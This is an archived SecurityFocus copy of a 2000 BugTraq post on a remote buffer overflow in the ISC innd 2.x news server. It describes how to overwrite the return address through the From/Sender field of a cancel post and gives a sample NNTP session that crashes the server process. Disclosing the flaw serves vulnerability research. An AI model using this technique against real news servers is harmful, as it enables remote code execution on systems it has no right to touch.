ISC innd 2.x Remote Buffer Overflow Vulnerability

The following exploit description was posted to BugTraq on June 6, 2000 by Michal Zalewski <lcamtuf@tpi.pl>:

How to exploit it? It could be a problem for script kiddies, as Message-ID is strictly checked for non-printable characters etc. But hey, Message-ID can be used only as a padding, and then we can overwrite return address with From/Sender address of cancel post! This field is not verified in any fascist way. Shellcode? Can be placed anywhere, quite big portions of cancel post are lying in the accessible memory when overflow happens.

Sample input ("LONGBUFFER" = around 500-600 bytes of AAAs..., has to be the same every time):

-- input -
201 XXX InterNetNews NNRP server INN 2.2 23-Oct-1998 ready (posting ok)
mode reader
group pl.test
post
Message-ID: <none@LONGBUFFER>
From: <test@polbox.com>
Sender: <test@polbox.com>
Newsgroups: pl.test

testing
. <- single dot, comment to avoid mail transfer problems
group control
post
Message-ID: <some-random-msgid@test.pl>
Approved: <approver@approving.net>From: <sucker@free.net.pl>
Sender: <sucker@free.net.pl>
Control: cancel <none@LONGBUFFER>
Subject: cmsg cancel <none@LONGBUFFER>
Newsgroups: control

Damn, cancel it.
. <- single dot
quit
-- EOF --

If innd/nnrp is running under debugger like strace, you'll see that child process responsible for request handling dies with SIGSEGV. Nice.


 

Privacy Statement
Copyright 2010, SecurityFocus